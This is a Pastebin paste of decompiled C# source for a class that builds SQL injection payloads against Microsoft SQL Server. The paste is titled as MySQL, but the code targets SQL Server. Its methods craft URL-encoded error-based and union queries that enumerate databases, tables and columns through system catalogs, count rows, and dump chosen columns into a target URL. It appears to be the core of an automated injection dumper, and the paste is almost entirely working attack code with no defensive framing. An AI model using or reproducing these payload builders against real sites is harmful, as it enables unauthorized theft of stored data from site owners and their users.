Advertisement
ZentTheGod

DataBase >> MYSQL @20000F0

Jan 14th, 2020
208
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 11.77 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using MainHelpers;
  4. using Microsoft.VisualBasic;
  5. using Microsoft.VisualBasic.CompilerServices;
  6.  
  7. namespace DataBase
  8. {
  9.     // Token: 0x020000F0 RID: 240
  10.     public class MSSQL
  11.     {
  12.         // Token: 0x06000F9C RID: 3996 RVA: 0x00068D0C File Offset: 0x00066F0C
  13.         private static string GetQuery(InjectionType oError, bool bCollateLatin)
  14.         {
  15.             string result;
  16.             if (oError == InjectionType.Error)
  17.             {
  18.                 if (bCollateLatin)
  19.                 {
  20.                     result = "convert(int,(%K%+(#)+%K%) COLLATE SQL_Latin1_General_Cp1254_CS_AS)";
  21.                 }
  22.                 else
  23.                 {
  24.                     result = "convert(int,(%K%+(#)+%K%))";
  25.                 }
  26.             }
  27.             else
  28.             {
  29.                 result = "(%K%+(#)+%K%)";
  30.             }
  31.             return result;
  32.         }
  33.  
  34.         // Token: 0x06000F9D RID: 3997 RVA: 0x00068D3C File Offset: 0x00066F3C
  35.         public static string Info(string sTraject, InjectionType oError, bool bCollateLatin, List<string> lColumn, string sCastType, string sEndUrl = "")
  36.         {
  37.             string text = Conversions.ToString(Interaction.IIf(string.IsNullOrEmpty(sCastType), "#", "cast(# as " + sCastType + ")"));
  38.             string newValue = HtmlTools.ConvertTextToSQLChar(Utls.DATA_SPLIT_STR, false, "+", "char");
  39.             string str = HtmlTools.ConvertTextToSQLChar(Utls.COLLUMNS_SPLIT_STR, false, "+", "char");
  40.             string text2 = MSSQL.GetQuery(oError, bCollateLatin);
  41.             checked
  42.             {
  43.                 string text3;
  44.                 if (lColumn.Count == 1)
  45.                 {
  46.                     text3 = text.Replace("#", lColumn[0].Trim());
  47.                 }
  48.                 else
  49.                 {
  50.                     text3 = "select (";
  51.                     int num = lColumn.Count - 1;
  52.                     for (int i = 0; i <= num; i++)
  53.                     {
  54.                         if (i > 0)
  55.                         {
  56.                             text3 = text3 + "+" + str + "+";
  57.                         }
  58.                         string str2 = text.Replace("#", lColumn[i].Trim());
  59.                         text3 += str2;
  60.                     }
  61.                     text3 += ") as t";
  62.                 }
  63.                 text2 = text2.Replace("%K%", newValue);
  64.                 text2 = text2.Replace("#", text3);
  65.                 text2 = HtmlTools.UrlEncode(text2);
  66.                 return sTraject.Replace("[t]", text2) + sEndUrl;
  67.             }
  68.         }
  69.  
  70.         // Token: 0x06000F9E RID: 3998 RVA: 0x00068E80 File Offset: 0x00067080
  71.         public static string DataBases(string sTraject, InjectionType oError, bool bCorrentDB, string sCastType, bool bCollateLatin, int iDbId, int iAfectedRows = 0, string sWhere = "", string sOrderBy = "", string sEndUrl = "")
  72.         {
  73.             string text = Conversions.ToString(Interaction.IIf(string.IsNullOrEmpty(sCastType), "#", "cast(# as " + sCastType + ")"));
  74.             string newValue = HtmlTools.ConvertTextToSQLChar(Utls.DATA_SPLIT_STR, false, "+", "char");
  75.             string text2 = MSSQL.GetQuery(oError, bCollateLatin);
  76.             text2 = text2.Replace("%K%", newValue);
  77.             checked
  78.             {
  79.                 if (bCorrentDB)
  80.                 {
  81.                     text2 = text2.Replace("#", text.Replace("#", "DB_NAME()"));
  82.                 }
  83.                 else if (string.IsNullOrEmpty(sWhere))
  84.                 {
  85.                     text2 = text2.Replace("#", "select distinct top 1 # from [master]..[sysdatabases] where [dbid]=" + Conversions.ToString(iDbId + 1));
  86.                 }
  87.                 else
  88.                 {
  89.                     string text3 = "isnull(#,char(32))";
  90.                     text3 = text.Replace("#", text3);
  91.                     text3 = text3.Replace("#", "[name]");
  92.                     text2 = text2.Replace("#", Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject("select top 1 " + text3 + " from (select top %INDEX% [name] from [master]..[sysdatabases] where " + sWhere, Interaction.IIf(!string.IsNullOrEmpty(sOrderBy), " order by " + sOrderBy + ", [name] asc", " order by [name] asc")), ")"), "sq order by [name] desc")));
  93.                     text2 = text2.Replace("%INDEX%", Conversions.ToString(iDbId + 1));
  94.                 }
  95.                 text2 = text2.Replace("#", text.Replace("#", "[name]"));
  96.                 text2 = HtmlTools.UrlEncode(text2);
  97.                 return sTraject.Replace("[t]", text2) + sEndUrl;
  98.             }
  99.         }
  100.  
  101.         // Token: 0x06000F9F RID: 3999 RVA: 0x00069008 File Offset: 0x00067208
  102.         public static string Tables(string sTraject, string sDataBase, InjectionType oError, string sCastType, bool bCollateLatin, int iIndex, int iAfectedRows = 0, string sWhere = "", string sOrderBy = "", string sEndUrl = "")
  103.         {
  104.             string text = Conversions.ToString(Interaction.IIf(string.IsNullOrEmpty(sCastType), "#", "cast(# as " + sCastType + ")"));
  105.             string newValue = HtmlTools.ConvertTextToSQLChar(Utls.DATA_SPLIT_STR, false, "+", "char");
  106.             string text2 = MSSQL.GetQuery(oError, bCollateLatin);
  107.             text2 = text2.Replace("%K%", newValue);
  108.             text2 = text2.Replace("#", Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(string.Concat(new string[]
  109.             {
  110.                 "select distinct top 1 # from [",
  111.                 sDataBase,
  112.                 "]..[sysobjects] where id=(select top 1 id from (select distinct top ",
  113.                 Conversions.ToString(checked(iIndex + 1)),
  114.                 " id from [",
  115.                 sDataBase,
  116.                 "]..[sysobjects] where xtype=char(85) "
  117.             }), Interaction.IIf(string.IsNullOrEmpty(sWhere), "", " and " + sWhere)), "order BY id ASC) "), " sq order BY id DESC)")));
  118.             text2 = text2.Replace("#", text.Replace("#", "[name]"));
  119.             text2 = HtmlTools.UrlEncode(text2);
  120.             return sTraject.Replace("[t]", text2) + sEndUrl;
  121.         }
  122.  
  123.         // Token: 0x06000FA0 RID: 4000 RVA: 0x0006912C File Offset: 0x0006732C
  124.         public static string Columns(string sTraject, string sDataBase, string sTable, InjectionType oError, string sCastType, bool bCollateLatin, int iIndex, int iAfectedRows = 0, string sWhere = "", string sOrderBy = "", string sEndUrl = "")
  125.         {
  126.             string text = Conversions.ToString(Interaction.IIf(string.IsNullOrEmpty(sCastType), "#", "cast(# as " + sCastType + ")"));
  127.             string newValue = HtmlTools.ConvertTextToSQLChar(Utls.DATA_SPLIT_STR, false, "+", "char");
  128.             string text2 = MSSQL.GetQuery(oError, bCollateLatin);
  129.             text2 = text2.Replace("%K%", newValue);
  130.             text2 = text2.Replace("#", Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(string.Concat(new string[]
  131.             {
  132.                 "select distinct top 1 # from [",
  133.                 sDataBase,
  134.                 "]..[syscolumns] where id=(select id from [",
  135.                 sDataBase,
  136.                 "]..[sysobjects] where [name]=%TB%) and [name] not in (select distinct top %INDEX% [name] from [",
  137.                 sDataBase,
  138.                 "]..[syscolumns] where id=(select top 1 id from [",
  139.                 sDataBase,
  140.                 "]..[sysobjects] where [name]=%TB%"
  141.             }), Interaction.IIf(string.IsNullOrEmpty(sWhere), "", " and " + sWhere)), ")"), ")")));
  142.             text2 = text2.Replace("%TB%", HtmlTools.ConvertTextToSQLChar(sTable, false, "+", "char"));
  143.             text2 = text2.Replace("%INDEX%", Conversions.ToString(iIndex));
  144.             text2 = text2.Replace("#", text.Replace("#", "[name]"));
  145.             text2 = HtmlTools.UrlEncode(text2);
  146.             return sTraject.Replace("[t]", text2) + sEndUrl;
  147.         }
  148.  
  149.         // Token: 0x06000FA1 RID: 4001 RVA: 0x00069284 File Offset: 0x00067484
  150.         public static string Dump(string sTraject, string sDataBase, string sTable, List<string> lColumn, bool bIFNULL, InjectionType oError, string sCastType, bool bCollateLatin, int iIndex, int iAfectedRows = 0, string sWhere = "", string sOrderBy = "", string sEndurl = "", string sCustomQuery = "", int iMSQLErrCIndex = -1)
  151.         {
  152.             bIFNULL = true;
  153.             string text = Conversions.ToString(Interaction.IIf(string.IsNullOrEmpty(sCastType), "#", "cast(# as " + sCastType + ")"));
  154.             string text2 = Conversions.ToString(Interaction.IIf(bIFNULL, "isnull(#,char(" + Conversions.ToString(32) + "))", "#"));
  155.             string newValue = HtmlTools.ConvertTextToSQLChar(Utls.DATA_SPLIT_STR, false, "+", "char");
  156.             string text3 = HtmlTools.ConvertTextToSQLChar(Utls.COLLUMNS_SPLIT_STR, false, "+", "char");
  157.             string text4 = MSSQL.GetQuery(oError, bCollateLatin);
  158.             checked
  159.             {
  160.                 if (string.IsNullOrEmpty(sCustomQuery))
  161.                 {
  162.                     string text5 = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject("select top 1 %cs% from(select top [x] %cl% from [%db%]..[%tb%] ", Interaction.IIf(string.IsNullOrEmpty(sWhere), "", "where " + sWhere + " ")), "order by %cs2% asc"), Interaction.IIf(string.IsNullOrEmpty(sOrderBy), "", "," + sOrderBy)), ") "), "sq order by %cs2% desc"));
  163.                     if (string.IsNullOrEmpty(sDataBase))
  164.                     {
  165.                         text5 = text5.Replace("[%db%]..", "");
  166.                     }
  167.                     string text6 = "";
  168.                     string text7 = "";
  169.                     text5 = text5.Replace("%cs2%", "[" + lColumn[0].Trim() + "]");
  170.                     if (lColumn.Count == 1)
  171.                     {
  172.                         text5 = text5.Replace("%cs%", text2.Replace("#", "[" + lColumn[0].Trim() + "]"));
  173.                         text5 = text5.Replace("%cl%", text2.Replace("#", "[" + lColumn[0].Trim() + "]"));
  174.                     }
  175.                     else
  176.                     {
  177.                         int num = lColumn.Count - 1;
  178.                         for (int i = 0; i <= num; i++)
  179.                         {
  180.                             if (i > 0)
  181.                             {
  182.                                 text6 = text6 + "+" + text3 + "+";
  183.                             }
  184.                             if (i > 0)
  185.                             {
  186.                                 text7 += ",";
  187.                             }
  188.                             if (i == iMSQLErrCIndex)
  189.                             {
  190.                                 text5 = text5.Replace("%cs%", text2.Replace("#", text.Replace("#", "[" + lColumn[i].Trim() + "]")));
  191.                                 text6 = text6 + "[" + lColumn[i].Trim() + "]";
  192.                             }
  193.                             else
  194.                             {
  195.                                 text6 += text.Replace("#", text2.Replace("#", text.Replace("#", "[" + lColumn[i].Trim() + "]")));
  196.                             }
  197.                             text7 = text7 + "[" + lColumn[i].Trim() + "]";
  198.                         }
  199.                         text5 = text5.Replace("%cs%", text6);
  200.                     }
  201.                     text5 = text5.Replace("%cl%", text7);
  202.                     text4 = text4.Replace("#", text5);
  203.                 }
  204.                 else
  205.                 {
  206.                     text4 = text4.Replace("#", sCustomQuery);
  207.                 }
  208.                 text4 = text4.Replace("%db%", sDataBase);
  209.                 text4 = text4.Replace("%tb%", sTable);
  210.                 text4 = text4.Replace("[s]", text3);
  211.                 text4 = text4.Replace("[x]", Conversions.ToString(iIndex + 1));
  212.                 text4 = text4.Replace("%K%", newValue);
  213.                 text4 = HtmlTools.UrlEncode(text4);
  214.                 return sTraject.Replace("[t]", text4) + sEndurl;
  215.             }
  216.         }
  217.  
  218.         // Token: 0x06000FA2 RID: 4002 RVA: 0x00069644 File Offset: 0x00067844
  219.         public static string Count(string sTraject, InjectionType oError, string sCastType, bool bCollateLatin, Schema o, string sDataBase, string sTable, string sWhere = "", string sEndUrl = "")
  220.         {
  221.             Conversions.ToString(Interaction.IIf(string.IsNullOrEmpty(sCastType), "#", "cast(# as " + sCastType + ")"));
  222.             string newValue = HtmlTools.ConvertTextToSQLChar(Utls.DATA_SPLIT_STR, false, "+", "char");
  223.             HtmlTools.ConvertTextToSQLChar(Utls.COLLUMNS_SPLIT_STR, false, "+", "char");
  224.             string text = MSSQL.GetQuery(oError, bCollateLatin);
  225.             switch (o)
  226.             {
  227.             case Schema.DATABASES:
  228.                 text = text.Replace("#", Conversions.ToString(Operators.ConcatenateObject("select top 1 # from [master]..[sysdatabases]", Interaction.IIf(string.IsNullOrEmpty(sWhere), "", " where " + sWhere))));
  229.                 break;
  230.             case Schema.TABLES:
  231.                 text = text.Replace("#", Conversions.ToString(Operators.ConcatenateObject("select top 1 # from [" + sDataBase + "]..[sysobjects] where xtype=char(85)", Interaction.IIf(string.IsNullOrEmpty(sWhere), "", " and " + sWhere))));
  232.                 break;
  233.             case Schema.COLUMNS:
  234.                 text = text.Replace("#", Conversions.ToString(Operators.ConcatenateObject(string.Concat(new string[]
  235.                 {
  236.                     "select top 1 # from [",
  237.                     sDataBase,
  238.                     "]..[syscolumns] where id=(select id from  [",
  239.                     sDataBase,
  240.                     "]..[sysobjects] where [name]=",
  241.                     HtmlTools.ConvertTextToSQLChar(sTable, false, "+", "char"),
  242.                     ")"
  243.                 }), Interaction.IIf(string.IsNullOrEmpty(sWhere), "", " and " + sWhere))));
  244.                 break;
  245.             case Schema.ROWS:
  246.                 text = text.Replace("#", Conversions.ToString(Operators.ConcatenateObject(string.Concat(new string[]
  247.                 {
  248.                     "select top 1 # from [",
  249.                     sDataBase,
  250.                     "]..[",
  251.                     sTable,
  252.                     "] "
  253.                 }), Interaction.IIf(string.IsNullOrEmpty(sWhere), "", "where " + sWhere))));
  254.                 break;
  255.             }
  256.             text = text.Replace("#", "cast(count(*) as char)");
  257.             text = text.Replace("%K%", newValue);
  258.             text = HtmlTools.UrlEncode(text);
  259.             return sTraject.Replace("[t]", text) + sEndUrl;
  260.         }
  261.  
  262.         // Token: 0x04000800 RID: 2048
  263.         private static string CODE_ERROR;
  264.  
  265.         // Token: 0x04000801 RID: 2049
  266.         private static string CODE_ERROR_COLLATE;
  267.     }
  268. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement